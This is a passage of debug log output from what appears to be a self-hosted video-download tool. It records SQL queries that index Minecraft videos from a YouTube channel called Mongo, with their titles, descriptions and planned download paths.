[7TrJHLfmISo].mp4", false, ~U[2026-05-23 17:00:07Z]] 19:43:37.025 [debug] QUERY OK source="sources" db=0.2ms idle=3.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 19:43:37.026 [debug] QUERY OK source="media_items" db=1.1ms idle=3.3ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-22 19:08:43Z], 31] 19:43:37.028 [debug] QUERY OK source="media_items" db=1.1ms idle=4.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Mongo and Axy have to work together to build a the most secure house to beat SUNMAN! Do they succeed? Watch to find out.\n\n#Mongo #Minecraft #MinecraftMod", "GIANT SUNMAN vs Security House In Minecraft!", "97f0fe08-361f-4b5e-8a5c-2c81abacad35", "GYjZ65S8QVk", false, "https://www.youtube.com/watch?v=GYjZ65S8QVk", 31, [], 839, false, 12, "/downloads/rory/Mongo/2026-05-22 GIANT SUNMAN vs Security House In Minecraft!/GIANT SUNMAN vs Security House In Minecraft! [GYjZ65S8QVk].mp4", false, false, 98, ~U[2026-05-22 19:08:43Z], ~U[2026-06-02 23:43:37Z], ~U[2026-06-02 23:43:37Z], "Mongo and Axy have to work together to build a the most secure house to beat SUNMAN! Do they succeed? Watch to find out.\n\n#Mongo #Minecraft #MinecraftMod", "GIANT SUNMAN vs Security House In Minecraft!", "GYjZ65S8QVk", "https://www.youtube.com/watch?v=GYjZ65S8QVk", 31, 839, false, "/downloads/rory/Mongo/2026-05-22 GIANT SUNMAN vs Security House In Minecraft!/GIANT SUNMAN vs Security House In Minecraft! [GYjZ65S8QVk].mp4", false, ~U[2026-05-22 19:08:43Z]] 19:43:37.028 [debug] QUERY OK source="sources" db=0.2ms idle=4.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 19:43:37.029 [debug] QUERY OK source="media_items" db=1.1ms idle=3.7ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-21 17:01:04Z], 31] 19:43:37.030 [debug] QUERY OK source="media_items" db=0.5ms idle=4.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Mongo and Axy are doing a build battle on who can build the best TITAN SUNMAN! Who wins Mongo or Axy? Watch to find out!\n\n#Mongo #Minecraft #MinecraftMod", "I Cheated With TITAN SUNMAN In Minecraft Build Battle!", "9a78e6cc-4e4f-4111-bb9c-547f4c904de6", "xwUYue7gz98", false, "https://www.youtube.com/watch?v=xwUYue7gz98", 31, [], 758, false, 13, "/downloads/rory/Mongo/2026-05-21 I Cheated With TITAN SUNMAN In Minecraft Build Battle!/I Cheated With TITAN SUNMAN In Minecraft Build Battle! [xwUYue7gz98].mp4", false, false, 98, ~U[2026-05-21 17:01:04Z], ~U[2026-06-02 23:43:37Z], ~U[2026-06-02 23:43:37Z], "Mongo and Axy are doing a build battle on who can build the best TITAN SUNMAN! Who wins Mongo or Axy? Watch to find out!\n\n#Mongo #Minecraft #MinecraftMod", "I Cheated With TITAN SUNMAN In Minecraft Build Battle!", "xwUYue7gz98", "https://www.youtube.com/watch?v=xwUYue7gz98", 31, 758, false, "/downloads/rory/Mongo/2026-05-21 I Cheated With TITAN SUNMAN In Minecraft Build Battle!/I Cheated With TITAN SUNMAN In Minecraft Build Battle! [xwUYue7gz98].mp4", false, ~U[2026-05-21 17:01:04Z]] 19:43:37.031 [debug] QUERY OK source="sources" db=0.2ms idle=4.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 19:43:37.032 [debug] QUERY OK source="media_items" db=1.2ms idle=3.1ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-20 17:00:52Z], 31] 19:43:37.033 [debug] QUERY OK source="media_items" db=0.5ms idle=4.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Mongo Pretended to be a BABY AXOLOTL on an One Chunk Minecraft! What does Mongo do? Watch to find out!\n\n#Mongo #Minecraft #MinecraftMod", "I Pretended to be a BABY AXOLOTL on an OP ELEMENTAL One Chunk!", "d06a7629-b83d-4a19-b136-53cc94f608f6", "dMFgYKWa7wk", false, "https://www.youtube.com/watch?v=dMFgYKWa7wk", 31, [], 893, false, 14, "/downloads/rory/Mongo/2026-05-20 I Pretended to be a BABY AXOLOTL on an OP ELEMENTAL One Chunk!/I Pretended to be a BABY AXOLOTL on an OP ELEMENTAL One Chunk! [dMFgYKWa7wk].mp4", false, false, 98, ~U[2026-05-20 17:00:52Z], ~U[2026-06-02 23:43:37Z], ~U[2026-06-02 23:43:37Z], "Mongo Pretended to be a BABY AXOLOTL on an One Chunk Minecraft! What does Mongo do? Watch to find out!\n\n#Mongo #Minecraft #MinecraftMod", "I Pretended to be a BABY AXOLOTL on an OP ELEMENTAL One Chunk!", "dMFgYKWa7wk", "https://www.youtube.com/watch?v=dMFgYKWa7wk", 31, 893, false, "/downloads/rory/Mongo/2026-05-20 I Pretended to be a BABY AXOLOTL on an OP ELEMENTAL One Chunk!/I Pretended to be a BABY AXOLOTL on an OP ELEMENTAL One Chunk! [dMFgYKWa7wk].mp4", false, ~U[2026-05-20 17:00:52Z]] 19:43:37.033 [debug] QUERY OK source="sources" db=0.2ms idle=3.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 19:43:37.034 [debug] QUERY OK source="media_items" db=1.1ms idle=3.2ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-19 17:00:22Z], 31] 19:43:37.035 [debug] QUERY OK source="media_items" db=0.7ms idle=4.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Mongo Pranks his friends in Minecraft With SUNMAN In Minecraft! What Happens? Watch to find out!\n\n#Mongo #Minecraft #MinecraftMod", "I Pranked My Friends With SUNMAN in Minecraft!", "91f15222-7cf8-470d-8a4e-55cc8f2e28b8", "N5Mo--bgYg8", false, "https://www.youtube.com/watch?v=N5Mo--bgYg8", 31, [], 942, false, 15, "/downloads/rory/Mongo/2026-05-19 I Pranked My Friends With SUNMAN in Minecraft!/I Pranked My Friends With SUNMAN in Minecraft! [N5Mo--bgYg8].mp4", false, false, 98, ~U[2026-05-19 17:00:22Z], ~U[2026-06-02 23:43:37Z], ~U[2026-06-02 23:43:37Z], "Mongo Pranks his friends in Minecraft With SUNMAN In Minecraft! What Happens? Watch to find out!\n\n#Mongo #Minecraft #MinecraftMod", "I Pranked My Friends With SUNMAN in Minecraft!", "N5Mo--bgYg8", "https://www.youtube.com/watch?v=N5Mo--bgYg8", 31, 942, false, "/downloads/rory/Mongo/2026-05-19 I Pranked My Friends With SUNMAN in Minecraft!/I Pranked My Friends With SUNMAN in Minecraft! [N5Mo--bgYg8].mp4", false, ~U[2026-05-19 17:00:22Z]] 19:43:37.036 [debug] QUERY OK source="sources" db=0.3ms idle=3.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 19:43:37.037 [debug] QUERY OK source="media_items" db=1.1ms idle=3.3ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-18 17:00:26Z], 31] 19:43:37.038 [debug] QUERY OK source="media_items" db=0.6ms idle=4.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Mongo and Axy are doing a build battle on who can build the best BLUEY! Who wins Mongo or Axy? Watch to find out!\n\n#Mongo #Minecraft #MinecraftMod", "I Cheated With GIANT BLUEY In Minecraft Build Battle!", "a77c6c81-6efc-44cb-bf39-3b53e1b5cdce", "SCT1zyFtWcA", false, "https://www.youtube.com/watch?v=SCT1zyFtWcA", 31, [], 1113, false, 16, "/downloads/rory/Mongo/2026-05-18 I Cheated With GIANT BLUEY In Minecraft Build Battle!/I Cheated With GIANT BLUEY In Minecraft Build Battle! [SCT1zyFtWcA].mp4", false, false, 98, ~U[2026-05-18 17:00:26Z], ~U[2026-06-02 23:43:37Z], ~U[2026-06-02 23:43:37Z], "Mongo and Axy are doing a build battle on who can build the best BLUEY! Who wins Mongo or Axy? Watch to find out!\n\n#Mongo #Minecraft #MinecraftMod", "I Cheated With GIANT BLUEY In Minecraft Build Battle!", "SCT1zyFtWcA", "https://www.youtube.com/watch?v=SCT1zyFtWcA", 31, 1113, false, "/downloads/rory/Mongo/2026-05-18 I Cheated With GIANT BLUEY In Minecraft Build Battle!/I Cheated With GIANT BLUEY In Minecraft Build Battle! [SCT1zyFtWcA].mp4", false, ~U[2026-05-18 17:00:26Z]] 19:43:37.039 [debug] QUERY OK source="sources" db=0.4ms idle=3.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 19:43:37.040 [debug] QUERY OK source="media_items" db=1.3ms idle=3.5ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-17 17:00:17Z], 31] 19:43:37.041 [debug] QUERY OK source="media_items" db=0.6ms idle=4.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Mongo Pretended to be a BABY CRABTANIC on an One Chunk Minecraft! What does Mongo do? Watch to find out!\n\n#Mongo #Minecraft #MinecraftMod", "Pretending to be BABY CRABTANIC on an OP One Chunk...", "99fd298a-a791-4362-8ac0-e67af7df3258", "GxN99c_ujUc", false, "https://www.youtube.com/watch?v=GxN99c_ujUc", 31, [], 901, false, 17, "/downloads/rory/Mongo/2026-05-17 Pretending to be BABY CRABTANIC on an OP One Chunk..#/Pretending to be BABY CRABTANIC on an OP One Chunk... [GxN99c_ujUc].mp4", false, false, 98, ~U[2026-05-17 17:00:17Z], ~U[2026-06-02 23:43:37Z], ~U[2026-06-02 23:43:37Z], "Mongo Pretended to be a BABY CRABTANIC on an One Chunk Minecraft! What does Mongo do? Watch to find out!\n\n#Mongo #Minecraft #MinecraftMod", "Pretending to be BABY CRABTANIC on an OP One Chunk...", "GxN99c_ujUc", "https://www.youtube.com/watch?v=GxN99c_ujUc", 31, 901, false, "/downloads/rory/Mongo/2026-05-17 Pretending to be BABY CRABTANIC on an OP One Chunk..#/Pretending to be BABY CRABTANIC on an OP One Chunk... [GxN99c_ujUc].mp4", false, ~U[2026-05-17 17:00:17Z]] 19:43:37.042 [debug] QUERY OK source="sources" db=0.2ms idle=4.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 19:43:37.043 [debug] QUERY OK source="media_items" db=1.2ms idle=3.6ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-16 17:00:50Z], 31] 19:43:37.044 [debug] QUERY OK source="media_items" db=0.8ms idle=4.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Mongo Pretended to be a BABY AXOLOTL in Minecraft Hide and Seek! What does Mongo do? Watch to find out!\n\n#Mongo #Minecraft #MinecraftMod", "I Pretended to be a BABY AXOLOTL in Minecraft Hide and Seek!", "5084b90d-2435-48ca-8505-9eb55ad26a8c", "cVAdHzaBmWQ", false, "https://www.youtube.com/watch?v=cVAdHzaBmWQ", 31, [], 924, false, 18, "/downloads/rory/Mongo/2026-05-16 I Pretended to be a BABY AXOLOTL in Minecraft Hide and Seek!/I Pretended to be a BABY AXOLOTL in Minecraft Hide and Seek! [cVAdHzaBmWQ].mp4", false, false, 98, ~U[2026-05-16 17:00:50Z], ~U[2026-06-02 23:43:37Z], ~U[2026-06-02 23:43:37Z], "Mongo Pretended to be a BABY AXOLOTL in Minecraft Hide and Seek! What does Mongo do? Watch to find out!\n\n#Mongo #Minecraft #MinecraftMod", "I Pretended to be a BABY AXOLOTL in Minecraft Hide and Seek!", "cVAdHzaBmWQ", "https://www.youtube.com/watch?v=cVAdHzaBmWQ", 31, 924, false, "/downloads/rory/Mongo/2026-05-16 I Pretended to be a BABY AXOLOTL in Minecraft Hide and Seek!/I Pretended to be a BABY AXOLOTL in Minecraft Hide and Seek! [cVAdHzaBmWQ].mp4", false, ~U[2026-05-16 17:00:50Z]] 19:43:37.045 [debug] QUERY OK source="sources" db=0.4ms idle=3.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 19:43:37.046 [debug] QUERY OK source="media_items" db=1.2ms idle=3.6ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-15 17:00:48Z], 31] 19:43:37.047 [debug] QUERY OK source="media_items" db=0.7ms idle=4.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Mongo and Axy are doing a build battle on who can build the best SUNMAN! Who wins Mongo or Axy? Watch to find out!\n\n#Mongo #Minecraft #MinecraftMod", "I Cheated With SUNMAN In Minecraft Build Battle!", "2bc45e31-e73b-440d-8556-2d55973a1c75", "cr__CZe6qtI", false, "https://www.youtube.com/watch?v=cr__CZe6qtI", 31, [], 1155, false, 19, "/downloads/rory/Mongo/2026-05-15 I Cheated With SUNMAN In Minecraft Build Battle!/I Cheated With SUNMAN In Minecraft Build Battle! [cr__CZe6qtI].mp4", false, false, 98, ~U[2026-05-15 17:00:48Z], ~U[2026-06-02 23:43:37Z], ~U[2026-06-02 23:43:37Z], "Mongo and Axy are doing a build battle on who can build the best SUNMAN! Who wins Mongo or Axy? Watch to find out!\n\n#Mongo #Minecraft #MinecraftMod", "I Cheated With SUNMAN In Minecraft Build Battle!", "cr__CZe6qtI", "https://www.youtube.com/watch?v=cr__CZe6qtI", 31, 1155, false, "/downloads/rory/Mongo/2026-05-15 I Cheated With SUNMAN In Minecraft Build Battle!/I Cheated With SUNMAN In Minecraft Build Battle! [cr__CZe6qtI].mp4", false, ~U[2026-05-15 17:00:48Z]] 19:43:37.048 [debug] QUERY OK source="sources" db=0.3ms idle=4.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 19:43:37.049 [debug] QUERY OK source="media_items" db=1.2ms idle=3.6ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-14 17:01:21Z], 31] 19:43:37.050 [debug] QUERY OK source="media_items" db=0.7ms idle=4.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Mongo Pranks his friends in Minecraft With OP GUN Mod In Minecraft! What Happens? Watch to find out!\n\n#Mongo #Minecraft #MinecraftMod", "I Pranked My Friends With CRABTANIC in Minecraft!", "c763cba5-81e6-45e9-9858-09efac24452b", "wsxfboCOEqc", false, "https://www.youtube.com/watch?v=wsxfboCOEqc", 31, [], 1096, false, 20, "/downloads/rory/Mongo/2026-05-14 I Pranked My Friends With CRABTANIC in Minecraft!/I Pranked My Friends With CRABTANIC in Minecraft! [wsxfboCOEqc].mp4", false, false, 98, ~U[2026-05-14 17:01:21Z], ~U[2026-06-02 23:43:37Z], ~U[2026-06-02 23:43:37Z], "Mongo Pranks his friends in Minecraft With OP GUN Mod In Minecraft! What Happens? Watch to find out!\n\n#Mongo #Minecraft #MinecraftMod", "I Pranked My Friends With CRABTANIC in Minecraft!", "wsxfboCOEqc", "https://www.youtube.com/watch?v=wsxfboCOEqc", 31, 1096, false, "/downloads/rory/Mongo/2026-05-14 I Pranked My Friends With CRABTANIC in Minecraft!/I Pranked My Friends With CRABTANIC in Minecraft! [wsxfboCOEqc].mp4", false, ~U[2026-05-14 17:01:21Z]] 19:43:37.050 [debug] QUERY OK source="sources" db=0.3ms idle=4.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 19:43:37.052 [debug] QUERY OK source="media_items" db=0.9ms idle=3.5ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-13 17:00:26Z], 31] 19:43:37.053 [debug] QUERY OK source="media_items" db=0.7ms idle=4.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Mongo Pranks his friends in Minecraft With OP GUN Mod In Minecraft! What Happens? Watch to find out!\n\n#Mongo #Minecraft #MinecraftMod", "I Pranked My Friends With OP GUN Mod In Minecraft!", "d587a271-a466-4c92-a0df-b6011886a0e7", "MLG_NvJgcVY", false, "https://www.youtube.com/watch?v=MLG_NvJgcVY", 31, [], 975, false, 21, "/downloads/rory/Mongo/2026-05-13 I Pranked My Friends With OP GUN Mod In Minecraft!/I Pranked My Friends With OP GUN Mod In Minecraft! [MLG_NvJgcVY].mp4", false, false, 98, ~U[2026-05-13 17:00:26Z], ~U[2026-06-02 23:43:37Z], ~U[2026-06-02 23:43:37Z], "Mongo Pranks his friends in Minecraft With OP GUN Mod In Minecraft! What Happens? Watch to find out!\n\n#Mongo #Minecraft #MinecraftMod", "I Pranked My Friends With OP GUN Mod In Minecraft!", "MLG_NvJgcVY", "https://www.youtube.com/watch?v=MLG_NvJgcVY", 31, 975, false, "/downloads/rory/Mongo/2026-05-13 I Pranked My Friends With OP GUN Mod In Minecraft!/I Pranked My Friends With OP GUN Mod In Minecraft! [MLG_NvJgcVY].mp4", false, ~U[2026-05-13 17:00:26Z]] 19:43:37.053 [debug] QUERY OK source="sources" db=0.3ms idle=3.8ms UPDATE "sources" SET "last_indexed_at" = ?, "updated_at" = ? WHERE "id" = ? [~U[2026-06-02 23:43:37Z], ~U[2026-06-02 23:43:37Z], 31] 19:43:37.055 [debug] QUERY OK source="media_items" db=1.2ms idle=3.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour 